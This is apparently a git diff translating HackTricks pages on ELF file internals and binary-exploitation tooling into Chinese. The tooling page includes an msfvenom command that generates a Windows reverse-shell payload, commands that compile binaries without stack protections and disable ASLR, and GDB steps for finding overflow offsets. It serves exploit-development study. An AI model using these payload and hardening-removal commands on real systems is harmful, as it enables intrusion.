- 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
- ALLOC
- 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
- CONTENTS, READONLY
- 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
- CONTENTS, READONLY
+0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
+CONTENTS, ALLOC, LOAD, DATA
+19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
+CONTENTS, ALLOC, LOAD, DATA
+20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
+CONTENTS, ALLOC, LOAD, DATA
+21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
+CONTENTS, ALLOC, LOAD, DATA
+22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
+CONTENTS, ALLOC, LOAD, DATA
+23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
+ALLOC
+24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
+CONTENTS, READONLY
+25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
+CONTENTS, READONLY
```
+它还指示了位置、偏移量、权限以及该部分的**数据类型**。
-It also indicates the location, offset, permissions but also the **type of data** it section has.
+### 元部分
-### Meta Sections
+- **字符串表**:它包含 ELF 文件所需的所有字符串(但不包括程序实际使用的字符串)。例如,它包含像 `.text` 或 `.data` 这样的部分名称。如果 `.text` 在字符串表中的偏移量为 45,它将在 **name** 字段中使用数字 **45**。
+- 为了找到字符串表的位置,ELF 包含一个指向字符串表的指针。
+- **符号表**:它包含有关符号的信息,如名称(在字符串表中的偏移量)、地址、大小以及有关符号的更多元数据。
-- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- - In order to find where the string table is, the ELF contains a pointer to the string table.
-- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
+### 主要部分
-### Main Sections
+- **`.text`**:要运行的程序指令。
+- **`.data`**:在程序中具有定义值的全局变量。
+- **`.bss`**:未初始化的全局变量(或初始化为零)。这里的变量会自动初始化为零,从而防止无用的零被添加到二进制文件中。
+- **`.rodata`**:常量全局变量(只读部分)。
+- **`.tdata`** 和 **`.tbss`**:与 .data 和 .bss 类似,当使用线程局部变量时(C++ 中的 `__thread_local` 或 C 中的 `__thread`)。
+- **`.dynamic`**:见下文。
-- **`.text`**: The instruction of the program to run.
-- **`.data`**: Global variables with a defined value in the program.
-- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
-- **`.rodata`**: Constant global variables (read-only section).
-- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
-- **`.dynamic`**: See below.
-
-## Symbols
-
-Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
+## 符号
+符号是程序中的一个命名位置,可以是一个函数、一个全局数据对象、线程局部变量等。
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
- Num: Value Size Type Bind Vis Ndx Name
- 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
- 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
- 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
- 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
- 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
- 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
- 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
- 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
- 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
- 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
- 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
- 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
- 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
- [...]
+Num: Value Size Type Bind Vis Ndx Name
+0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
+1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
+2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
+3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
+4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
+5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
+6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
+7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
+8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
+9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
+10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
+11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
+12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
+[...]
```
+每个符号条目包含:
-Each symbol entry contains:
-
-- **Name**
-- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
-- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
-- **Section** index where it's located
-- **Value** (address sin memory)
-- **Size**
-
-## Dynamic Section
+- **名称**
+- **绑定属性**(弱、局部或全局):局部符号只能被程序本身访问,而全局符号则在程序外部共享。弱对象例如是可以被不同函数覆盖的函数。
+- **类型**:NOTYPE(未指定类型)、OBJECT(全局数据变量)、FUNC(函数)、SECTION(节)、FILE(调试器的源代码文件)、TLS(线程局部变量)、GNU_IFUNC(用于重定位的间接函数)
+- **节**索引位置
+- **值**(内存中的地址)
+- **大小**
+## 动态节
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
- Tag Type Name/Value
- 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
- 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
- 0x000000000000000c (INIT) 0x1088
- 0x000000000000000d (FINI) 0x2f74
- 0x0000000000000019 (INIT_ARRAY) 0x1fc48
- 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
- 0x000000000000001a (FINI_ARRAY) 0x1fc50
- 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
- 0x000000006ffffef5 (GNU_HASH) 0x338
- 0x0000000000000005 (STRTAB) 0x7f0
- 0x0000000000000006 (SYMTAB) 0x358
- 0x000000000000000a (STRSZ) 510 (bytes)
- 0x000000000000000b (SYMENT) 24 (bytes)
- 0x0000000000000015 (DEBUG) 0x0
- 0x0000000000000003 (PLTGOT) 0x1fe58
- 0x0000000000000002 (PLTRELSZ) 960 (bytes)
- 0x0000000000000014 (PLTREL) RELA
- 0x0000000000000017 (JMPREL) 0xcc8
- 0x0000000000000007 (RELA) 0xaa0
- 0x0000000000000008 (RELASZ) 552 (bytes)
- 0x0000000000000009 (RELAENT) 24 (bytes)
- 0x000000000000001e (FLAGS) BIND_NOW
- 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
- 0x000000006ffffffe (VERNEED) 0xa50
- 0x000000006fffffff (VERNEEDNUM) 2
- 0x000000006ffffff0 (VERSYM) 0x9ee
- 0x000000006ffffff9 (RELACOUNT) 15
- 0x0000000000000000 (NULL) 0x0
+Tag Type Name/Value
+0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
+0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
+0x000000000000000c (INIT) 0x1088
+0x000000000000000d (FINI) 0x2f74
+0x0000000000000019 (INIT_ARRAY) 0x1fc48
+0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
+0x000000000000001a (FINI_ARRAY) 0x1fc50
+0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
+0x000000006ffffef5 (GNU_HASH) 0x338
+0x0000000000000005 (STRTAB) 0x7f0
+0x0000000000000006 (SYMTAB) 0x358
+0x000000000000000a (STRSZ) 510 (bytes)
+0x000000000000000b (SYMENT) 24 (bytes)
+0x0000000000000015 (DEBUG) 0x0
+0x0000000000000003 (PLTGOT) 0x1fe58
+0x0000000000000002 (PLTRELSZ) 960 (bytes)
+0x0000000000000014 (PLTREL) RELA
+0x0000000000000017 (JMPREL) 0xcc8
+0x0000000000000007 (RELA) 0xaa0
+0x0000000000000008 (RELASZ) 552 (bytes)
+0x0000000000000009 (RELAENT) 24 (bytes)
+0x000000000000001e (FLAGS) BIND_NOW
+0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
+0x000000006ffffffe (VERNEED) 0xa50
+0x000000006fffffff (VERNEEDNUM) 2
+0x000000006ffffff0 (VERSYM) 0x9ee
+0x000000006ffffff9 (RELACOUNT) 15
+0x0000000000000000 (NULL) 0x0
```
+NEEDED 目录指示程序 **需要加载提到的库** 以便继续。NEEDED 目录在共享 **库完全运行并准备好** 使用后完成。
-The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
-
-## Relocations
-
-The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
+## 重定位
+加载器在加载依赖项后还必须进行重定位。这些重定位在重定位表中以 REL 或 RELA 格式指示,重定位的数量在动态部分 RELSZ 或 RELASZ 中给出。
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
- Offset Info Type Sym. Value Sym. Name + Addend
+Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
- Offset Info Type Sym. Value Sym. Name + Addend
+Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
+### 静态重定位
-### Static Relocations
+如果**程序加载的位置不同**于首选地址(通常是0x400000),因为该地址已被使用或由于**ASLR**或其他原因,静态重定位**修正指针**,这些指针的值期望二进制文件加载在首选地址。
-If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
+例如,任何类型为`R_AARCH64_RELATIV`的节应该在重定位偏移量加上附加值的基础上修改地址。
-For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
+### 动态重定位和GOT
-### Dynamic Relocations and GOT
+重定位也可以引用外部符号(如依赖项中的函数)。例如,libC中的malloc函数。然后,加载器在加载libC时检查malloc函数加载的位置,它会将此地址写入GOT(全局偏移表)(在重定位表中指示)中,malloc的地址应该在此处指定。
-The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
+### 过程链接表
-### Procedure Linkage Table
+PLT节允许执行延迟绑定,这意味着函数位置的解析将在第一次访问时进行。
-The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
+因此,当程序调用malloc时,它实际上调用的是PLT中`malloc`的相应位置(`malloc@plt`)。第一次调用时,它解析`malloc`的地址并存储,以便下次调用`malloc`时,使用该地址而不是PLT代码。
-So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
-
-## Program Initialization
-
-After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
+## 程序初始化
+在程序加载后,是时候运行它了。然而,运行的第一段代码**并不总是`main`**函数。这是因为例如在C++中,如果**全局变量是一个类的对象**,则该对象必须在main运行**之前**进行**初始化**,如:
```cpp
#include
// g++ autoinit.cpp -o autoinit
class AutoInit {
- public:
- AutoInit() {
- printf("Hello AutoInit!\n");
- }
- ~AutoInit() {
- printf("Goodbye AutoInit!\n");
- }
+public:
+AutoInit() {
+printf("Hello AutoInit!\n");
+}
+~AutoInit() {
+printf("Goodbye AutoInit!\n");
+}
};
AutoInit autoInit;
int main() {
- printf("Main\n");
- return 0;
+printf("Main\n");
+return 0;
}
```
+请注意,这些全局变量位于 `.data` 或 `.bss` 中,但在 `__CTOR_LIST__` 和 `__DTOR_LIST__` 列表中,初始化和析构的对象被存储以便跟踪它们。
-Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
-
-From C code it's possible to obtain the same result using the GNU extensions :
-
+从 C 代码中,可以使用 GNU 扩展获得相同的结果:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
+从编译器的角度来看,为了在执行 `main` 函数之前和之后执行这些操作,可以创建一个 `init` 函数和一个 `fini` 函数,这些函数将在动态部分中被引用为 **`INIT`** 和 **`FIN`**,并被放置在 ELF 的 `init` 和 `fini` 部分。
-From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
+另一个选项,如前所述,是在动态部分的 **`INIT_ARRAY`** 和 **`FINI_ARRAY`** 条目中引用列表 **`__CTOR_LIST__`** 和 **`__DTOR_LIST__`**,这些的长度由 **`INIT_ARRAYSZ`** 和 **`FINI_ARRAYSZ`** 指示。每个条目都是一个函数指针,将在没有参数的情况下被调用。
-The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
+此外,还可以有一个 **`PREINIT_ARRAY`**,其中包含将在 **`INIT_ARRAY`** 指针之前执行的 **指针**。
-Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
+### 初始化顺序
-### Initialization Order
+1. 程序被加载到内存中,静态全局变量在 **`.data`** 中初始化,未初始化的变量在 **`.bss`** 中被置为零。
+2. 程序或库的所有 **依赖项** 被 **初始化**,并执行 **动态链接**。
+3. 执行 **`PREINIT_ARRAY`** 函数。
+4. 执行 **`INIT_ARRAY`** 函数。
+5. 如果有 **`INIT`** 条目,则调用它。
+6. 如果是库,dlopen 在这里结束;如果是程序,则是时候调用 **真实入口点**(`main` 函数)。
-1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
-2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
-3. **`PREINIT_ARRAY`** functions are executed.
-4. **`INIT_ARRAY`** functions are executed.
-5. If there is a **`INIT`** entry it's called.
-6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
+## 线程局部存储 (TLS)
-## Thread-Local Storage (TLS)
+它们在 C++ 中使用关键字 **`__thread_local`** 定义,或使用 GNU 扩展 **`__thread`**。
-They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
+每个线程将为此变量维护一个唯一的位置,因此只有该线程可以访问其变量。
-Each thread will maintain a unique location for this variable so only the thread can access its variable.
+使用此功能时,ELF 中将使用 **`.tdata`** 和 **`.tbss`** 部分。这些部分类似于 `.data`(已初始化)和 `.bss`(未初始化),但用于 TLS。
-When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
+每个变量将在 TLS 头中有一个条目,指定大小和 TLS 偏移量,即它将在线程的本地数据区域中使用的偏移量。
-Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
-
-The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
+`__TLS_MODULE_BASE` 是一个符号,用于引用线程局部存储的基地址,并指向内存中包含模块所有线程局部数据的区域。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
index 70aa57cc5..50caffdcb 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
@@ -1,9 +1,8 @@
-# Exploiting Tools
+# 利用工具
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
-
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
-
### Shellcodes
-
```bash
msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
-
## GDB
-### Install
-
+### 安装
```bash
apt-get install gdb
```
-
-### Parameters
-
+### 参数
```bash
-q # No show banner
-x # Auto-execute GDB instructions from here
-p # Attach to process
```
-
-### Instructions
-
+### 指令
```bash
run # Execute
start # Start and break in main
@@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
-
### [GEF](https://github.com/hugsy/gef)
-You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
-
+您可以选择使用 [**这个 GE 的分支**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef),它包含更多有趣的说明。
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
- rip = 0x400cd3; saved rip = 0x6261617762616176
- called by frame at 0x7fffffffddd8
- Arglist at 0x7fffffffdcf8, args:
- Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
- Saved registers:
- rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
+rip = 0x400cd3; saved rip = 0x6261617762616176
+called by frame at 0x7fffffffddd8
+Arglist at 0x7fffffffdcf8, args:
+Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
+Saved registers:
+rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
-
### Tricks
-#### GDB same addresses
+#### GDB 相同地址
-While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
+在调试时,GDB 的 **地址会与执行时二进制文件使用的地址略有不同。** 你可以通过以下方式使 GDB 拥有相同的地址:
- `unset env LINES`
- `unset env COLUMNS`
-- `set env _=` _Put the absolute path to the binary_
-- Exploit the binary using the same absolute route
-- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
+- `set env _=` _放入二进制文件的绝对路径_
+- 使用相同的绝对路径利用二进制文件
+- 使用 GDB 和利用二进制文件时,`PWD` 和 `OLDPWD` 必须相同
-#### Backtrace to find functions called
-
-When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
-You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
+#### 回溯以查找调用的函数
+当你有一个 **静态链接的二进制文件** 时,所有函数都将属于该二进制文件(而不是外部库)。在这种情况下,**识别二进制文件请求用户输入的流程将会很困难。**\
+你可以通过 **运行** 二进制文件并 **gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** (**回溯**)命令查看调用的函数:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
+### GDB 服务器
-### GDB server
-
-`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
+`gdbserver --multi 0.0.0.0:23947`(在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此)
## Ghidra
-### Find stack offset
+### 查找栈偏移
-**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
-For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
-NAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
+**Ghidra** 非常有用,可以找到 **缓冲区溢出的偏移量,感谢有关局部变量位置的信息。**\
+例如,在下面的示例中,`local_bc` 中的缓冲区流表示您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie,则表示要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\
+NAN;_R请记住,保存 RIP 的前 0x08 属于 RBP。_
.png>)
## qtool
-
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
-
-Get every opcode executed in the program.
+获取程序中执行的每个操作码。
## GCC
-**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
-NAN;**-o** --> Output\
-NAN;**-g** --> Save code (GDB will be able to see it)\
-**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
+**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\
+NAN;**-o** --> 输出\
+NAN;**-g** --> 保存代码(GDB 将能够看到它)\
+**echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR
-**To compile a shellcode:**\
-**nasm -f elf assembly.asm** --> return a ".o"\
-**ld assembly.o -o shellcodeout** --> Executable
+**编译 shellcode:**\
+**nasm -f elf assembly.asm** --> 返回一个 ".o"\
+**ld assembly.o -o shellcodeout** --> 可执行文件
## Objdump
-**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
-NAN;**-Mintel** --> **Intel** syntax\
-NAN;**-t** --> **Symbols** table\
-NAN;**-D** --> **Disassemble all** (address of static variable)\
-NAN;**-s -j .dtors** --> dtors section\
-NAN;**-s -j .got** --> got section\
--D -s -j .plt --> **plt** section **decompiled**\
-NAN;**-TR** --> **Relocations**\
-**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
